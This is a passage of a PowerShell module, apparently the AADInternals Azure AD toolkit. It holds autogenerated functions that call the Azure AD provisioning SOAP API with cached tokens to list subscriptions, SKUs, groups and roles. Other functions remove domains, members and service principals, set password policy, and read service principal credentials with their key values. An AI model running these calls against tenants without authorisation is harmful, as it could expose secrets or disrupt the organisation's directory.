$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-ServicePrincipalCredentialsByAppPrincipalId
function Get-ServicePrincipalCredentialsByAppPrincipalId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$AppPrincipalId,
[Parameter(Mandatory=$False)]
[Boolean]$ReturnKeyValues
)
Process
{
$command="ListServicePrincipalCredentialsByAppPrincipalId"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AppPrincipalId>$AppPrincipalId</b:AppPrincipalId>
<b:ReturnKeyValues i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-ServicePrincipal
function Remove-ServicePrincipal
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$ObjectId
)
Process
{
$command="RemoveServicePrincipal"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-ServicePrincipalBySpn
function Get-ServicePrincipalBySpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$ServicePrincipalName
)
Process
{
$command="GetServicePrincipalBySpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ServicePrincipalName>$ServicePrincipalName</b:ServicePrincipalName>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-Domain
function Remove-Domain
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$DomainName
)
Process
{
$command="RemoveDomain"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:DomainName>$DomainName</b:DomainName>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-AdministrativeUnitResults
function Navigate-AdministrativeUnitResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateAdministrativeUnitResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-RoleMembers
function Remove-RoleMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$RoleObjectId,
[Parameter(Mandatory=$False)]
$RoleMembers
)
Process
{
$command="RemoveRoleMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleObjectId i:nil="true"/>
<b:RoleMembers i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Subscriptions
function Get-Subscriptions
{
<#
.SYNOPSIS
Gets tenant's subscriptions
.DESCRIPTION
Gets tenant's subscriptions
.Parameter AccessToken
Access Token
.Example
Get-AADIntSubscriptions
SkuPartNumber : EMSPREMIUM
WarningUnits : 0
TotalLicenses : 250
IsTrial : true
NextLifecycleDate : 2018-11-13T00:00:00Z
OcpSubscriptionId : 76909010-12ed-4b05-b3d7-ee1b42c21b4e
ConsumedUnits : 23
ObjectId : 58265dbe-24e0-4cdb-8b62-51197a4c1c13
SkuId : b05e124f-c7cc-45a0-a6aa-8cf78c946968
DateCreated : 2018-08-13T00:00:00Z
Status : Enabled
SuspendedUnits : 0
AccountName : company
SkuPartNumber : ENTERPRISEPREMIUM
WarningUnits : 25
TotalLicenses : 25
IsTrial : true
NextLifecycleDate : 2018-10-27T15:47:40Z
OcpSubscriptionId : 7c206b83-2487-49fa-b91e-3d676de02ccb
ConsumedUnits : 22
ObjectId : df58544b-5062-4d6c-85de-937f203bbe0f
SkuId : c7df2760-2c81-4ef7-b578-5b5392b571df
DateCreated : 2018-08-27T00:00:00Z
Status : Warning
SuspendedUnits : 0
AccountName : company
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ReturnValue
)
Process
{
$command="ListSubscriptions"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ReturnValue i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Get skus
$skus = Get-AccountSkus -AccessToken $AccessToken
# Loop through the results
foreach($subs in $results.Subscription)
{
$attributes=@{}
$attributes.DateCreated=$subs.DateCreated
$attributes.IsTrial=$subs.IsTrial
$attributes.NextLifecycleDate=$subs.NextLifecycleDate
$attributes.ObjectId=$subs.ObjectId
$attributes.OcpSubscriptionId=$subs.OcpSubscriptionId
#$attributes.OwnerContextId=$subs.OwnerContextId
#$attributes.OwnerObjectId=$subs.OwnerObjectId
#$attributes.OwnerType=$subs.OwnerType
$attributes.SkuId=$subs.SkuId
$attributes.SkuPartNumber=$subs.SkuPartNumber
$attributes.Status=$subs.Status
$attributes.TotalLicenses=$subs.TotalLicenses
# Get the SKU
$sku = $skus | where SkuId -eq $attributes.SkuId
$attributes.WarningUnits = $sku.WarningUnits
$attributes.ConsumedUnits = $sku.ConsumedUnits
$attributes.SuspendedUnits = $sku.SuspendedUnits
$attributes.AccountName = $sku.AccountName
# Loop through service status objects
<#
$attributes.ServiceStatus=@()
foreach($status in $subs.ServiceStatus.ServiceStatus)
{
$service_status=@{}
$service_status.ProvisioningStatus=$status.ProvisioningStatus
$service_status.ServiceName=$status.ServicePlan.ServiceName
$service_status.ServicePlanId=$status.ServicePlan.ServicePlanId
$service_status.ServiceType=$status.ServicePlan.ServiceType
$service_status.TargetClass=$status.ServicePlan.TargetClass
$attributes.ServiceStatus += New-Object psobject -Property $service_status
}
#>
# Return
New-Object psobject -Property $attributes
}
}
}
# Autogenerated Sep 23rd 2018
# Set-PasswordPolicy
function Set-PasswordPolicy
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Policy,
[Parameter(Mandatory=$False)]
[string]$DomainName,
[Parameter(Mandatory=$False)]
[int]$NotificationDays=14,
[Parameter(Mandatory=$False)]
[int]$ValidityPeriod=90
)
Process
{
$command="SetPasswordPolicy"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Policy xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:NotificationDays>$NotificationDays</c:NotificationDays>
<c:ValidityPeriod>$ValidityPeriod</c:ValidityPeriod>
</b:Policy>
<b:DomainName i:nil="$(([string]::IsNullOrEmpty($DomainName)).toString().ToLower())">$DomainName</b:DomainName>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Groups
function Get-Groups
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$GroupSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$AccountSku,
[ValidateSet('DistributionList','Security','MailEnabledSecurity')]
[string]$GroupType,
[Parameter(Mandatory=$False)]
$HasErrorsOnly,
[Parameter(Mandatory=$False)]
$HasLicenseErrorsOnly,
[Parameter(Mandatory=$False)]
$IncludedProperties,
[Parameter(Mandatory=$False)]
$IsAgentRole,
[Parameter(Mandatory=$False)]
$UserObjectId,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
$command="ListGroups"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:GroupSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:AccountSku i:nil="true"/>
<c:GroupType i:nil="true"/>
<c:HasErrorsOnly i:nil="true"/>
<c:HasLicenseErrorsOnly i:nil="true"/>
<c:IncludedProperties i:nil="true"/>
<c:IsAgentRole i:nil="true"/>
<c:UserObjectId i:nil="true"/>
<c:UserPrincipalName i:nil="true"/>
</b:GroupSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results.Results.Group
}
}
# Autogenerated Sep 23rd 2018
# Get-Subscription
function Get-Subscription
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$SubscriptionId
)
Process
{
$command="GetSubscription"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:SubscriptionId>$SubscriptionId</b:SubscriptionId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-GroupMembers
function Remove-GroupMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$GroupMembers,
[Parameter(Mandatory=$False)]
$GroupObjectId
)
Process
{
$command="RemoveGroupMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:GroupMembers i:nil="true"/>
<b:GroupObjectId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-ContactResults
function Navigate-ContactResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateContactResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Domain
function Get-Domain
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$DomainName
)
Process
{
$command="GetDomain"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:DomainName>$DomainName</b:DomainName>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-AdministrativeUnit
function Add-AdministrativeUnit
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AdministrativeUnit,
[Parameter(Mandatory=$False)]
$Description,
[Parameter(Mandatory=$False)]
$DisplayName,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="AddAdministrativeUnit"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AdministrativeUnit xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:Description i:nil="true"/>
<c:DisplayName i:nil="true"/>
<c:ObjectId i:nil="true"/>
</b:AdministrativeUnit>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-ServicePrincipal
function Get-ServicePrincipal
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="GetServicePrincipal"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Get-AccountSkus
# Aug 12th 018
function Get-AccountSkus
{
<#
.SYNOPSIS
Gets tenant's SKUs
.DESCRIPTION
Gets tenant's stock keeping units (SKUs)
.Parameter AccessToken
Access Token
.Example
Get-AADIntAccountSkus
TargetClass : User
SkuPartNumber : EMSPREMIUM
WarningUnits : 58265dbe-24e0-4cdb-8b62-51197a4c1c13
ServiceStatus : {@{ServiceName=EXCHANGE_S_FOUNDATION; TargetClass=Tenant; ServiceType=Exchange; ServicePlanId=113feb6c-3fe4-4440-bddc-54d774bf0318; ProvisioningStatus=Success}, @{ServiceName=ATA;
TargetClass=User; ServiceType=AzureAdvancedThreatAnalytics; ServicePlanId=14ab5db5-e6c4-4b20-b4bc-13e36fd2227f; ProvisioningStatus=Success}, @{ServiceName=ADALLOM_S_STANDALONE; T
argetClass=User; ServiceType=Adallom; ServicePlanId=2e2ddb96-6af9-4b1d-a3f0-d6ecfd22edb2; ProvisioningStatus=Success}, @{ServiceName=RMS_S_PREMIUM2; TargetClass=User; ServiceType=
RMSOnline; ServicePlanId=5689bec4-755d-4753-8b61-40975025187c; ProvisioningStatus=Success}...}
AccountObjectId : 1b78d686-e37b-4c01-a1ec-c963fbae482a
SuspendedUnits : 0
ConsumedUnits : 23
SkuId : b05e124f-c7cc-45a0-a6aa-8cf78c946968
ActiveUnits : 250
LockedOutUnits : 0
AccountSkuId : company:EMSPREMIUM
AccountName : company
TargetClass : User
SkuPartNumber : ENTERPRISEPREMIUM
WarningUnits : df58544b-5062-4d6c-85de-937f203bbe0f
ServiceStatus : {@{ServiceName=PAM_ENTERPRISE; TargetClass=User; ServiceType=Exchange; ServicePlanId=b1188c4c-1b36-4018-b48b-ee07604f6feb; ProvisioningStatus=Success}, @{ServiceName=BPOS_S_TODO_3
; TargetClass=User; ServiceType=To-Do; ServicePlanId=3fb82609-8c27-4f7b-bd51-30634711ee67; ProvisioningStatus=Success}, @{ServiceName=FORMS_PLAN_E5; TargetClass=User; ServiceType=
OfficeForms; ServicePlanId=e212cbc7-0961-4c40-9825-01117710dcb1; ProvisioningStatus=Success}, @{ServiceName=STREAM_O365_E5; TargetClass=User; ServiceType=MicrosoftStream; ServiceP
lanId=6c6042f5-6f01-4d67-b8c1-eb99d36eed3e; ProvisioningStatus=Success}...}
AccountObjectId : 1b78d686-e37b-4c01-a1ec-c963fbae482a
SuspendedUnits : 0
ConsumedUnits : 22
SkuId : c7df2760-2c81-4ef7-b578-5b5392b571df
ActiveUnits : 0
LockedOutUnits : 0
AccountSkuId : company:ENTERPRISEPREMIUM
AccountName : company
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AccountId
)
Process
{
$command="ListAccountSkus"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AccountId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Loop through the results
foreach($sku in $results.AccountSkuDetails)
{
$attributes=@{}
$attributes.AccountName=$sku.AccountName
$attributes.AccountObjectId=$sku.AccountObjectId
$attributes.AccountSkuId=$sku.AccountSkuId
$attributes.ActiveUnits=$sku.ActiveUnits
$attributes.ConsumedUnits=$sku.ConsumedUnits
$attributes.LockedOutUnits=$sku.LockedOutUnits
$attributes.SkuId=$sku.SkuId
$attributes.SkuPartNumber=$sku.SkuPartNumber
$attributes.SuspendedUnits=$sku.SuspendedUnits
$attributes.TargetClass=$sku.TargetClass
$attributes.WarningUnits=$sku.WarningUnits
# FIx: There might be more than one!
$attributes.SubscriptionIds=$sku.SubscriptionIds.guid
# Loop through service status objects
$attributes.ServiceStatus=@()
foreach($status in $sku.ServiceStatus.ServiceStatus)
{
$service_status=@{}
$service_status.ProvisioningStatus=$status.ProvisioningStatus
$service_status.ServiceName=$status.ServicePlan.ServiceName
$service_status.ServicePlanId=$status.ServicePlan.ServicePlanId
$service_status.ServiceType=$status.ServicePlan.ServiceType
$service_status.TargetClass=$status.ServicePlan.TargetClass
$attributes.ServiceStatus += New-Object psobject -Property $service_status
}
# Return
New-Object psobject -Property $attributes
}
}
}
# Autogenerated Sep 23rd 2018
# Set-CompanyMultiNationalEnabled
function Set-CompanyMultiNationalEnabled
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$Enable=$false,
[Parameter(Mandatory=$False)]
[string]$ServiceType
)
Process
{
$command="SetCompanyMultiNationalEnabled"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
$(Add-BElement -Parameter "Enable" -Value $Enable)
$(Add-BElement -Parameter "ServiceType" -Value $ServiceType)
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-ServicePrincipalByAppPrincipalId
function Remove-ServicePrincipalByAppPrincipalId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AppPrincipalId
)
Process
{
$command="RemoveServicePrincipalByAppPrincipalId"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AppPrincipalId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-ServicePrincipalCredentials
function Get-ServicePrincipalCredentials
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
[Boolean]$ReturnKeyValues
)
Process
{
$command="ListServicePrincipalCredentials"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:ReturnKeyValues>true</b:ReturnKeyValues>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results.ServicePrincipalCredential
}
}
# Get-AccidentalDeletionInformation
# Oct 18th 2018
function Get-AccidentalDeletionInformation
{
<#
.SYNOPSIS
Get accidental deletion information
.Description
Get accidental deletion information of Azure AD
.Parameter AccessToken
Access Token.
.Example
GetAADIntAccidentalDeletionInformation
AccidentalDeletionThreshold DeletionPreventionType
--------------------------- ----------------------
500 EnabledForCount
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$command="GetAccidentalDeletionInformation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ReturnValue i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Verify-Domain
function Verify-Domain
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$FederationSettings,
[Parameter(Mandatory=$False)]
$ForceTakeover,
[Parameter(Mandatory=$False)]
[string]$DomainName
)
Process
{
$command="VerifyDomain"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:FederationSettings i:nil="true"/>
<b:ForceTakeover i:nil="true"/>
<b:DomainName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-RolesForUser
function Get-RolesForUser
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="ListRolesForUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-DirSyncProvisioningErrors
function Navigate-DirSyncProvisioningErrors
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateDirSyncProvisioningErrors"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-DomainVerificationDns
function Get-DomainVerificationDns
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$Mode,
[Parameter(Mandatory=$False)]
[string]$DomainName
)
Process
{
$command="GetDomainVerificationDns"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Mode i:nil="true"/>
<b:DomainName>$DomainName</b:DomainName>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-CompanyAllowedDataLocation
function Set-CompanyAllowedDataLocation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$ServiceType,
[Parameter(Mandatory=$False)]
[Boolean]$IsDefault,
[Parameter(Mandatory=$False)]
[string]$InitialDomain,
[Parameter(Mandatory=$False)]
[string]$Location,
[Parameter(Mandatory=$False)]
[Boolean]$Overwrite
)
Process
{
$command="SetCompanyAllowedDataLocation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ServiceType i:nil="true"/>
<b:IsDefault i:nil="true"/>
<b:InitialDomain i:nil="true"/>
<b:Location i:nil="true"/>
<b:Overwrite i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Has-ObjectsWithDirSyncProvisioningErrors
function Has-ObjectsWithDirSyncProvisioningErrors
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$ReturnValue
)
Process
{
$command="HasObjectsWithDirSyncProvisioningErrors"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ReturnValue i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-CompanyDirSyncFeature
function Set-CompanyDirSyncFeature
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[Boolean]$Enable,
[Parameter(Mandatory=$false)]
[Boolean]$DeviceWriteback,
[Parameter(Mandatory=$false)]
$DirectoryExtensions,
[Parameter(Mandatory=$false)]
$DuplicateProxyAddressResiliency,
[Parameter(Mandatory=$false)]
$DuplicateUPNResiliency,
[Parameter(Mandatory=$false)]
